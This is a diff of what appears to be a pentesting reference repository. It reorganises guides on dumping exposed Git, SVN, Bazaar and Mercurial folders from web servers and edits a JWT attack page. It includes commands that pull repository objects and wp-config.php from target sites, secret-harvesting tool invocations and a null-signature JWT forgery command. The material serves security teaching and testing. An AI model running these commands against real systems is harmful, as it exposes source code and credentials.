[+] GET checkout/views
[+] GET branch/branch.conf
[+] GET branch/format
[+] GET branch/last-revision
[+] GET branch/tag
[+] GET b'154411f0f33adc3ff8cfb3d34209cbd1'
[*] Finish
```
```powershell
bzr revert
N application.py
N database.py
N static/
```
## References
* [STEM CTF Cyber Challenge 2019 My First Blog - m3ssap0 / zuzzur3ll0n1 - March 2, 2019](https://web.archive.org/web/20200926122213/https://ctftime.org/writeup/13380)

View File

@@ -0,0 +1,249 @@
# Git
## Summary
* [Methodology](#methodology)
* [Recovering file contents from .git/logs/HEAD](#recovering-file-contents-from-gitlogshead)
* [Recovering file contents from .git/index](#recovering-file-contents-from-gitindex)
* [Tools](#tools)
* [Automatic recovery](#automatic-recovery)
* [git-dumper.py](#git-dumperpy)
* [diggit.py](#diggitpy)
* [GoGitDumper](#gogitdumper)
* [rip-git](#rip-git)
* [GitHack](#githack)
* [GitTools](#gittools)
* [Harvesting secrets](#harvesting-secrets)
* [noseyparker](#noseyparker)
* [trufflehog](#trufflehog)
* [Yar](#yar)
* [Gitrob](#gitrob)
* [Gitleaks](#gitleaks)
* [References](#references)
## Methodology
The following examples will create either a copy of the .git or a copy of the current commit.
Check for the following files, if they exist you can extract the .git folder.
* `.git/config`
* `.git/HEAD`
* `.git/logs/HEAD`
### Recovering file contents from .git/logs/HEAD
* Check for 403 Forbidden or directory listing to find the `/.git/` directory
* Git saves all information in `.git/logs/HEAD` (try lowercase `head` too)
```powershell
0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000 clone: from https://github.com/fermayo/hello-world-lamp.git
15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000 commit: Initial.
26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000 commit: Whoops! Remove flag.
6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000 commit: Prevent directory listing.
```
* Access the commit using the hash
```powershell
# create an empty .git repository
git init test
cd test/.git
# download the file
wget http://web.site/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c
# first byte for subdirectory, remaining bytes for filename
mkdir .git/object/26
mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/
# display the file
git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c
tree 323240a3983045cdc0dec2e88c1358e7998f2e39
parent 15ca375e54f056a576905b41a417b413c57df6eb
author Michael <michael@easyctf.com> 1489390329 +0000
committer Michael <michael@easyctf.com> 1489390329 +0000
Initial.
```
* Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39
```powershell
wget http://web.site/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
mkdir .git/object/32
mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/
git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39
040000 tree bd083286051cd869ee6485a3046b9935fbd127c0 css
100644 blob cb6139863967a752f3402b3975e97a84d152fd8f flag.txt
040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97 fonts
100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1 index.html
040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8 js
```
* Read the data (flag.txt)
```powershell
wget http://web.site/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
mkdir .git/object/cb
mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/
git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
```
### Recovering file contents from .git/index
Use the git index file parser <https://pypi.python.org/pypi/gin> (python3).
```powershell
pip3 install gin
gin ~/git-repo/.git/index
```
Recover name and sha1 hash of every file listed in the index, and use the same process above to recover the file.
```powershell
$ gin .git/index | egrep -e "name|sha1"
name = AWS Amazon Bucket S3/README.md
sha1 = 862a3e58d138d6809405aa062249487bee074b98
name = CRLF injection/README.md
sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141
```
## Tools
### Automatic recovery
#### git-dumper.py
* [arthaud/git-dumper](https://github.com/arthaud/git-dumper)
```powershell
pip install -r requirements.txt
./git-dumper.py http://web.site/.git ~/website
```
#### diggit.py
* [bl4de/security-tools/diggit](https://github.com/bl4de/security-tools/)
```powershell
./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True]
./diggit.py -u http://web.site -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1
```
`-u` is remote path, where .git folder exists
`-t` is path to local folder with dummy Git repository and where blob content (files) are saved with their real names (`cd /path/to/temp/folder && git init`)
`-o` is a hash of particular Git object to download
#### GoGitDumper
* [c-sto/gogitdumper](https://github.com/c-sto/gogitdumper)
```powershell
go get github.com/c-sto/gogitdumper
gogitdumper -u http://web.site/.git/ -o yourdecideddir/.git/
git log
git checkout
```
#### rip-git
* [kost/dvcs-ripper](https://github.com/kost/dvcs-ripper)
```powershell
perl rip-git.pl -v -u "http://web.site/.git/"
git cat-file -p 07603070376d63d911f608120eb4b5489b507692
tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
parent 15ca375e54f056a576905b41a417b413c57df6eb
author Michael <michael@easyctf.com> 1489389105 +0000
committer Michael <michael@easyctf.com> 1489389105 +0000
git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
```
#### GitHack
* [lijiejie/GitHack](https://github.com/lijiejie/GitHack)
```powershell
GitHack.py http://web.site/.git/
```
#### GitTools
* [internetwache/GitTools](https://github.com/internetwache/GitTools)
```powershell
./gitdumper.sh http://target.tld/.git/ /tmp/destdir
git checkout -- .
```
### Harvesting secrets
#### noseyparker
> [praetorian-inc/noseyparker](https://github.com/praetorian-inc/noseyparker) - Nosey Parker is a command-line tool that finds secrets and sensitive information in textual data and Git history.
```ps1
git clone https://github.com/trufflesecurity/test_keys
docker run -v "$PWD":/scan ghcr.io/praetorian-inc/noseyparker:latest scan --datastore datastore.np ./test_keys/
docker run -v "$PWD":/scan ghcr.io/praetorian-inc/noseyparker:latest report --color always
noseyparker scan --datastore np.noseyparker --git-url https://github.com/praetorian-inc/noseyparker
noseyparker scan --datastore np.noseyparker --github-user octocat
```
#### trufflehog
> Searches through git repositories for high entropy strings and secrets, digging deep into commit history.
```powershell
pip install truffleHog
truffleHog --regex --entropy=False https://github.com/trufflesecurity/trufflehog.git
```
#### Yar
> Searches through users/organizations git repositories for secrets either by regex, entropy or both. Inspired by the infamous truffleHog.
```powershell
go get github.com/nielsing/yar # https://github.com/nielsing/yar
yar -o orgname --both
```
#### Gitrob
> Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github. Gitrob will clone repositories belonging to a user or organization down to a configurable depth and iterate through the commit history and flag files that match signatures for potentially sensitive files.
```powershell
go get github.com/michenriksen/gitrob # https://github.com/michenriksen/gitrob
export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
gitrob [options] target [target2] ... [targetN]
```
#### Gitleaks
> Gitleaks provides a way for you to find unencrypted secrets and other unwanted data types in git source code repositories.
* Run gitleaks against a public repository
```powershell
docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git
```
* Run gitleaks against a local repository already cloned into /tmp/
```powershell
docker run --rm --name=gitleaks -v /tmp/:/code/ zricethezav/gitleaks -v --repo-path=/code/gitleaks
```
* Run gitleaks against a specific Github Pull request
```powershell
docker run --rm --name=gitleaks -e GITHUB_TOKEN={your token} zricethezav/gitleaks --github-pr=https://github.com/owner/repo/pull/9000
```
## References
* [Gitrob: Now in Go - Michael Henriksen - January 24, 2024](https://web.archive.org/web/20240930092732/https://michenriksen.com/blog/gitrob-now-in-go/)

View File

@@ -0,0 +1,23 @@
# Mercurial
> Mercurial (also known as hg from the chemical symbol for mercury) is a distributed version control system (DVCS) designed for efficiency and scalability. Developed by Matt Mackall and first released in 2005, Mercurial is known for its speed, simplicity, and ability to handle large codebases.
## Summary
* [Tools](#tools)
* [rip-hg.pl](#rip-hgpl)
* [References](#references)
## Tools
### rip-hg.pl
* [kost/dvcs-ripper/master/rip-hg.pl](https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-hg.pl) - Rip web accessible (distributed) version control systems: SVN/GIT/HG...
```powershell
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-hg.pl -v -u
```
## References
* [my-chemical-romance - siunam - Feb 13, 2023](https://web.archive.org/web/20250712102012/https://siunam321.github.io/ctf/LA-CTF-2023/Web/my-chemical-romance/)

View File

@@ -1,307 +1,49 @@
# Insecure Source Code Management # Insecure Source Code Management
* [Git](#git) > Insecure Source Code Management (SCM) can lead to several critical vulnerabilities in web applications and services. Developers often rely on SCM systems like Git and Subversion (SVN) to manage their source code versions. However, poor security practices, such as leaving .git and .svn folders in production environments exposed to the internet, can pose significant risks.
+ [Example](#example)
- [Recovering file contents from .git/logs/HEAD](#recovering-file-contents-from-gitlogshead) ## Summary
- [Recovering file contents from .git/index](#recovering-file-contents-from-gitindex)
+ [Tools](#tools) * [Methodology](#methodology)
- [Automatic recovery](#automatic-recovery) * [Bazaar](./Bazaar.md)
* [git-dumper.py](#git-dumperpy) * [Git](./Git.md)
* [diggit.py](#diggitpy) * [Mercurial](./Mercurial.md)
* [GoGitDumper](#gogitdumper) * [Subversion](./Subversion.md)
* [rip-git](#rip-git) * [Labs](#labs)
* [GitHack](#githack)
* [GitTools](#gittools)
- [Harvesting secrets](#harvesting-secrets)
* [trufflehog](#trufflehog)
* [Yar](#yar)
* [Gitrob](#gitrob)
* [Gitleaks](#gitleaks)
* [Subversion](#subversion)
+ [Example (Wordpress)](#example-wordpress)
+ [Tools](#tools-1)
- [svn-extractor](#svn-extractor)
* [Bazaar](#bazaar)
+ [Tools](#tools-2)
- [rip-bzr.pl](#rip-bzrpl)
- [bzr_dumper](#bzr_dumper)
* [Mercurial](#mercurial)
+ [Tools](#tools-3)
- [rip-hg.pl](#rip-hgpl)
* [References](#references) * [References](#references)
## Git ## Methodology
The following examples will create either a copy of the .git or a copy of the current commit. Exposing the version control system folders on a web server can lead to severe security risks, including:
Check for the following files, if they exist you can extract the .git folder. * **Source Code Leaks** : Attackers can download the entire source code repository, gaining access to the application's logic.
* **Sensitive Information Exposure** : Embedded secrets, configuration files, and credentials might be present within the codebase.
* **Commit History Exposure** : Attackers can view past changes, revealing sensitive information that might have been previously exposed and later mitigated.
- .git/config The first step is to gather information about the target application. This can be done using various web reconnaissance tools and techniques.
- .git/HEAD
- .git/logs/HEAD
### Example * **Manual Inspection** : Check URLs manually by navigating to common SCM paths.
* Git: `http://target.com/.git/`
* SVN: `http://target.com/.svn/`
#### Recovering file contents from .git/logs/HEAD * **Automated Tools** : Refer to the page related to the specific technology.
1. Check for 403 Forbidden or directory listing to find the `/.git/` directory Once a potential SCM folder is identified, check the HTTP response codes and contents. You might need to bypass `.htaccess` or Reverse Proxy rules.
2. Git saves all information in `.git/logs/HEAD` (try lowercase `head` too)
```powershell
0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000 clone: from https://github.com/fermayo/hello-world-lamp.git
15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000 commit: Initial.
26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000 commit: Whoops! Remove flag.
6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000 commit: Prevent directory listing.
```
3. Access the commit using the hash
```powershell
# create an empty .git repository
git init test
cd test/.git
# download the file The NGINX rule below returns a `403 (Forbidden)` response instead of `404 (Not Found)` when hitting the `/.git` endpoint.
wget http://web.site/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c
# first byte for subdirectory, remaining bytes for filename ```ps1
mkdir .git/object/26 location /.git {
mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/ deny all;
}
# display the file
git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c
tree 323240a3983045cdc0dec2e88c1358e7998f2e39
parent 15ca375e54f056a576905b41a417b413c57df6eb
author Michael <michael@easyctf.com> 1489390329 +0000
committer Michael <michael@easyctf.com> 1489390329 +0000
Initial.
```
4. Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39
```powershell
wget http://web.site/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
mkdir .git/object/32
mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/
git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39
040000 tree bd083286051cd869ee6485a3046b9935fbd127c0 css
100644 blob cb6139863967a752f3402b3975e97a84d152fd8f flag.txt
040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97 fonts
100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1 index.html
040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8 js
```
5. Read the data (flag.txt)
```powershell
wget http://web.site/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
mkdir .git/object/cb
mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/
git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
```
#### Recovering file contents from .git/index
Use the git index file parser https://pypi.python.org/pypi/gin (python3).
```powershell
pip3 install gin
gin ~/git-repo/.git/index
``` ```
Recover name and sha1 hash of every file listed in the index, and use the same process above to recover the file. For example in Git, the exploitation technique doesn't require to list the content of the `.git` folder (`http://target.com/.git/`), the data extraction can still be conducted when files can be read.
```powershell ## Labs
$ gin .git/index | egrep -e "name|sha1"
name = AWS Amazon Bucket S3/README.md
sha1 = 862a3e58d138d6809405aa062249487bee074b98
name = CRLF injection/README.md * [Root Me - Insecure Code Management](https://www.root-me.org/fr/Challenges/Web-Serveur/Insecure-Code-Management)
sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141
```
### Tools
#### Automatic recovery
##### git-dumper.py
```powershell
git clone https://github.com/arthaud/git-dumper
pip install -r requirements.txt
./git-dumper.py http://web.site/.git ~/website
```
##### diggit.py
```powershell
git clone https://github.com/bl4de/security-tools/ && cd security-tools/diggit
./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True]
./diggit.py -u http://web.site -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1
-u is remote path, where .git folder exists
-t is path to local folder with dummy Git repository and where blob content (files) are saved with their real names (cd /path/to/temp/folder && git init)
-o is a hash of particular Git object to download
```
##### GoGitDumper
```powershell
go get github.com/c-sto/gogitdumper
gogitdumper -u http://web.site/.git/ -o yourdecideddir/.git/
git log
git checkout
```
##### rip-git
```powershell
git clone https://github.com/kost/dvcs-ripper
perl rip-git.pl -v -u "http://web.site/.git/"
git cat-file -p 07603070376d63d911f608120eb4b5489b507692
tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
parent 15ca375e54f056a576905b41a417b413c57df6eb
author Michael <michael@easyctf.com> 1489389105 +0000
committer Michael <michael@easyctf.com> 1489389105 +0000
git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
```
##### GitHack
```powershell
git clone https://github.com/lijiejie/GitHack
GitHack.py http://web.site/.git/
```
##### GitTools
```powershell
git clone https://github.com/internetwache/GitTools
./gitdumper.sh http://target.tld/.git/ /tmp/destdir
git checkout -- .
```
#### Harvesting secrets
##### trufflehog
> Searches through git repositories for high entropy strings and secrets, digging deep into commit history.
```powershell
pip install truffleHog # https://github.com/dxa4481/truffleHog
truffleHog --regex --entropy=False https://github.com/dxa4481/truffleHog.git
```
##### Yar
> Searches through users/organizations git repositories for secrets either by regex, entropy or both. Inspired by the infamous truffleHog.
```powershell
go get github.com/nielsing/yar # https://github.com/nielsing/yar
yar -o orgname --both
```
##### Gitrob
> Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github. Gitrob will clone repositories belonging to a user or organization down to a configurable depth and iterate through the commit history and flag files that match signatures for potentially sensitive files.
```powershell
go get github.com/michenriksen/gitrob # https://github.com/michenriksen/gitrob
export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
gitrob [options] target [target2] ... [targetN]
```
##### Gitleaks
> Gitleaks provides a way for you to find unencrypted secrets and other unwanted data types in git source code repositories.
```powershell
# Run gitleaks against a public repository
docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git
# Run gitleaks against a local repository already cloned into /tmp/
docker run --rm --name=gitleaks -v /tmp/:/code/ zricethezav/gitleaks -v --repo-path=/code/gitleaks
# Run gitleaks against a specific Github Pull request
docker run --rm --name=gitleaks -e GITHUB_TOKEN={your token} zricethezav/gitleaks --github-pr=https://github.com/owner/repo/pull/9000
or
go get -u github.com/zricethezav/gitleaks
```
## Subversion
### Example (Wordpress)
```powershell
curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
```
1. Download the svn database from http://server/path_to_vulnerable_site/.svn/wc.db
```powershell
INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
```
2. Download interesting files
* remove \$sha1\$ prefix
* add .svn-base postfix
* use first byte from hash as a subdirectory of the `pristine/` directory (`94` in this case)
* create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`
### Tools
#### svn-extractor
```powershell
git clone https://github.com/anantshri/svn-extractor.git
python svn-extractor.py url "url with .svn available"
```
## Bazaar
### Tools
#### rip-bzr.pl
```powershell
wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-bzr.pl
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-bzr.pl -v -u
```
#### bzr_dumper
```powershell
git clone https://github.com/SeahunOh/bzr_dumper
python3 dumper.py -u "http://127.0.0.1:5000/" -o source
Created a standalone tree (format: 2a)
[!] Target : http://127.0.0.1:5000/
[+] Start.
[+] GET repository/pack-names
[+] GET README
[+] GET checkout/dirstate
[+] GET checkout/views
[+] GET branch/branch.conf
[+] GET branch/format
[+] GET branch/last-revision
[+] GET branch/tag
[+] GET b'154411f0f33adc3ff8cfb3d34209cbd1'
[*] Finish
$ bzr revert
N application.py
N database.py
N static/
```
## Mercurial
### Tools
#### rip-hg.pl
```powershell
wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-hg.pl
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-hg.pl -v -u
```
## References ## References
- [bl4de, hidden_directories_leaks](https://github.com/bl4de/research/tree/master/hidden_directories_leaks) * [Hidden directories and files as a source of sensitive information about web application - Apr 30, 2017](https://github.com/bl4de/research/tree/master/hidden_directories_leaks)
- [bl4de, diggit](https://github.com/bl4de/security-tools/tree/master/diggit)
- [Gitrob: Now in Go - Michael Henriksen](https://michenriksen.com/blog/gitrob-now-in-go/)

View File

@@ -0,0 +1,39 @@
# Subversion
> Subversion (often abbreviated as SVN) is a centralized version control system (VCS) that has been widely used in the software development industry. Originally developed by CollabNet Inc. in 2000, Subversion was designed to be an improved version of CVS (Concurrent Versions System) and has since gained significant traction for its robustness and reliability.
## Summary
* [Tools](#tools)
* [Methodology](#methodology)
* [References](#references)
## Tools
* [anantshri/svn-extractor](https://github.com/anantshri/svn-extractor) - Simple script to extract all web resources by means of .SVN folder exposed over network.
```powershell
python svn-extractor.py --url "url with .svn available"
```
## Methodology
```powershell
curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
```
1. Download the svn database from `http://server/path_to_vulnerable_site/.svn/wc.db`
```powershell
INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
```
2. Download interesting files
* remove `$sha1$` prefix
* add `.svn-base` postfix
* use first byte from hash as a subdirectory of the `pristine/` directory (`94` in this case)
* create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`
## References
* [SVN Extractor for Web Pentesters - Anant Shrivastava - March 26, 2013](https://web.archive.org/web/20130329022536/http://blog.anantshri.info:80/svn-extractor-for-web-pentesters)

View File

@@ -2,13 +2,12 @@
> JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed. > JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed.
## Summary ## Summary
- [Summary](#summary)
- [Tools](#tools) - [Tools](#tools)
- [JWT Format](#jwt-format) - [JWT Format](#jwt-format)
- [Header](#header) - [Header](#header)
- [Payload](#payload) - [Payload](#payload)
- [JWT Signature](#jwt-signature) - [JWT Signature](#jwt-signature)
- [JWT Signature - Null Signature Attack (CVE-2020-28042)](#jwt-signature---null-signature-attack-cve-2020-28042) - [JWT Signature - Null Signature Attack (CVE-2020-28042)](#jwt-signature---null-signature-attack-cve-2020-28042)
- [JWT Signature - Disclosure of a correct signature (CVE-2019-7644)](#jwt-signature---disclosure-of-a-correct-signature-cve-2019-7644) - [JWT Signature - Disclosure of a correct signature (CVE-2019-7644)](#jwt-signature---disclosure-of-a-correct-signature-cve-2019-7644)
@@ -17,22 +16,20 @@
- [JWT Signature - Key Injection Attack (CVE-2018-0114)](#jwt-signature---key-injection-attack-cve-2018-0114) - [JWT Signature - Key Injection Attack (CVE-2018-0114)](#jwt-signature---key-injection-attack-cve-2018-0114)
- [JWT Signature - Recover Public Key From Signed JWTs](#jwt-signature---recover-public-key-from-signed-jwts) - [JWT Signature - Recover Public Key From Signed JWTs](#jwt-signature---recover-public-key-from-signed-jwts)
- [JWT Secret](#jwt-secret) - [JWT Secret](#jwt-secret)
- [Encode and Decode JWT with the secret](#encode-and-decode-jwt-with-the-secret) - [Encode and Decode JWT with the secret](#encode-and-decode-jwt-with-the-secret)
- [Break JWT secret](#break-jwt-secret) - [Break JWT secret](#break-jwt-secret)
- [JWT tool](#jwt-tool)
- [Hashcat](#hashcat)
- [JWT Claims](#jwt-claims) - [JWT Claims](#jwt-claims)
- [JWT kid Claim Misuse](#jwt-kid-claim-misuse) - [JWT kid Claim Misuse](#jwt-kid-claim-misuse)
- [JWKS - jku header injection](#jwks---jku-header-injection) - [JWKS - jku header injection](#jwks---jku-header-injection)
- [Labs](#labs)
- [References](#references) - [References](#references)
## Tools ## Tools
- [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool) - [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool) - 🐍 A toolkit for testing, tweaking and cracking JSON Web Tokens
- [brendan-rius/c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker) - [brendan-rius/c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker) - JWT brute force cracker written in C
- [JOSEPH - JavaScript Object Signing and Encryption Pentesting Helper](https://portswigger.net/bappstore/82d6c60490b540369d6d5d01822bdf61) - [PortSwigger/JOSEPH](https://portswigger.net/bappstore/82d6c60490b540369d6d5d01822bdf61) - JavaScript Object Signing and Encryption Pentesting Helper
- [jwt.io - Encoder Decoder](https://jwt.io/) - [jwt.io](https://jwt.io/) - Encoder/Decoder
## JWT Format ## JWT Format
@@ -76,7 +73,6 @@ Other parameters are registered in the RFC.
| cty | Content Type | This header parameter is not recommended to use | | cty | Content Type | This header parameter is not recommended to use |
| crit | Critical | Extensions and/or JWA are being used | | crit | Critical | Extensions and/or JWA are being used |
Default algorithm is "HS256" (HMAC SHA256 symmetric encryption). Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
"RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature). "RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature).
@@ -85,19 +81,18 @@ Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
| HS256 | HMAC using SHA-256 | Required | | HS256 | HMAC using SHA-256 | Required |
| HS384 | HMAC using SHA-384 | Optional | | HS384 | HMAC using SHA-384 | Optional |
| HS512 | HMAC using SHA-512 | Optional | | HS512 | HMAC using SHA-512 | Optional |
| RS256 | RSASSA-PKCS1-v1_5 using SHA-256 | Recommended | | RS256 | RSASSA-PKCS1-v1_5 using SHA-256 | Recommended |
| RS384 | RSASSA-PKCS1-v1_5 using SHA-384 | Optional | | RS384 | RSASSA-PKCS1-v1_5 using SHA-384 | Optional |
| RS512 | RSASSA-PKCS1-v1_5 using SHA-512 | Optional | | RS512 | RSASSA-PKCS1-v1_5 using SHA-512 | Optional |
| ES256 | ECDSA using P-256 and SHA-256 | Recommended | | ES256 | ECDSA using P-256 and SHA-256 | Recommended |
| ES384 | ECDSA using P-384 and SHA-384 | Optional | | ES384 | ECDSA using P-384 and SHA-384 | Optional |
| ES512 | ECDSA using P-521 and SHA-512 | Optional | | ES512 | ECDSA using P-521 and SHA-512 | Optional |
| PS256 | RSASSA-PSS using SHA-256 and MGF1 with SHA-256 | Optional | | PS256 | RSASSA-PSS using SHA-256 and MGF1 with SHA-256 | Optional |
| PS384 | RSASSA-PSS using SHA-384 and MGF1 with SHA-384 | Optional | | PS384 | RSASSA-PSS using SHA-384 and MGF1 with SHA-384 | Optional |
| PS512 | RSASSA-PSS using SHA-512 and MGF1 with SHA-512 | Optional | | PS512 | RSASSA-PSS using SHA-512 and MGF1 with SHA-512 | Optional |
| none | No digital signature or MAC performed | Required | | none | No digital signature or MAC performed | Required |
Inject headers with [ticarpi/jwt_tool](#): `python3 jwt_tool.py JWT_HERE -I -hc header1 -hv testval1 -hc header2 -hv testval2` Inject headers with [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool): `python3 jwt_tool.py JWT_HERE -I -hc header1 -hv testval1 -hc header2 -hv testval2`
### Payload ### Payload
@@ -111,6 +106,7 @@ Inject headers with [ticarpi/jwt_tool](#): `python3 jwt_tool.py JWT_HERE -I -hc
``` ```
Claims are the predefined keys and their values: Claims are the predefined keys and their values:
- iss: issuer of the token - iss: issuer of the token
- exp: the expiration timestamp (reject tokens which have expired). Note: as defined in the spec, this must be in seconds. - exp: the expiration timestamp (reject tokens which have expired). Note: as defined in the spec, this must be in seconds.
- iat: The time the JWT was issued. Can be used to determine the age of the JWT - iat: The time the JWT was issued. Can be used to determine the age of the JWT
@@ -119,8 +115,7 @@ Claims are the predefined keys and their values:
- sub: subject of the token (rarely used) - sub: subject of the token (rarely used)
- aud: audience of the token (also rarely used) - aud: audience of the token (also rarely used)
Inject payload claims with [ticarpi/jwt_tool](#): `python3 jwt_tool.py JWT_HERE -I -pc payload1 -pv testval3` Inject payload claims with [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool): `python3 jwt_tool.py JWT_HERE -I -pc payload1 -pv testval3`
## JWT Signature ## JWT Signature
@@ -129,55 +124,58 @@ Inject payload claims with [ticarpi/jwt_tool](#): `python3 jwt_tool.py JWT_HERE
Send a JWT with HS256 algorithm without a signature like `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.` Send a JWT with HS256 algorithm without a signature like `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.`
**Exploit**: **Exploit**:
```ps1 ```ps1
python3 jwt_tool.py JWT_HERE -X n python3 jwt_tool.py JWT_HERE -X n
``` ```
**Deconstructed**: **Deconstructed**:
```json ```json
{"alg":"HS256","typ":"JWT"}. {"alg":"HS256","typ":"JWT"}.
{"sub":"1234567890","name":"John Doe","iat":1516239022} {"sub":"1234567890","name":"John Doe","iat":1516239022}
``` ```
### JWT Signature - Disclosure of a correct signature (CVE-2019-7644) ### JWT Signature - Disclosure of a correct signature (CVE-2019-7644)
Send a JWT with an incorrect signature, the endpoint might respond with an error disclosing the correct one. Send a JWT with an incorrect signature, the endpoint might respond with an error disclosing the correct one.
* [jwt-dotnet/jwt: Critical Security Fix Required: You disclose the correct signature with each SignatureVerificationException... #61](https://github.com/jwt-dotnet/jwt/issues/61) - [jwt-dotnet/jwt: Critical Security Fix Required: You disclose the correct signature with each SignatureVerificationException... #61](https://github.com/jwt-dotnet/jwt/issues/61)
* [CVE-2019-7644: Security Vulnerability in Auth0-WCF-Service-JWT](https://auth0.com/docs/secure/security-guidance/security-bulletins/cve-2019-7644) - [CVE-2019-7644: Security Vulnerability in Auth0-WCF-Service-JWT](https://auth0.com/docs/secure/security-guidance/security-bulletins/cve-2019-7644)
``` ```ps1
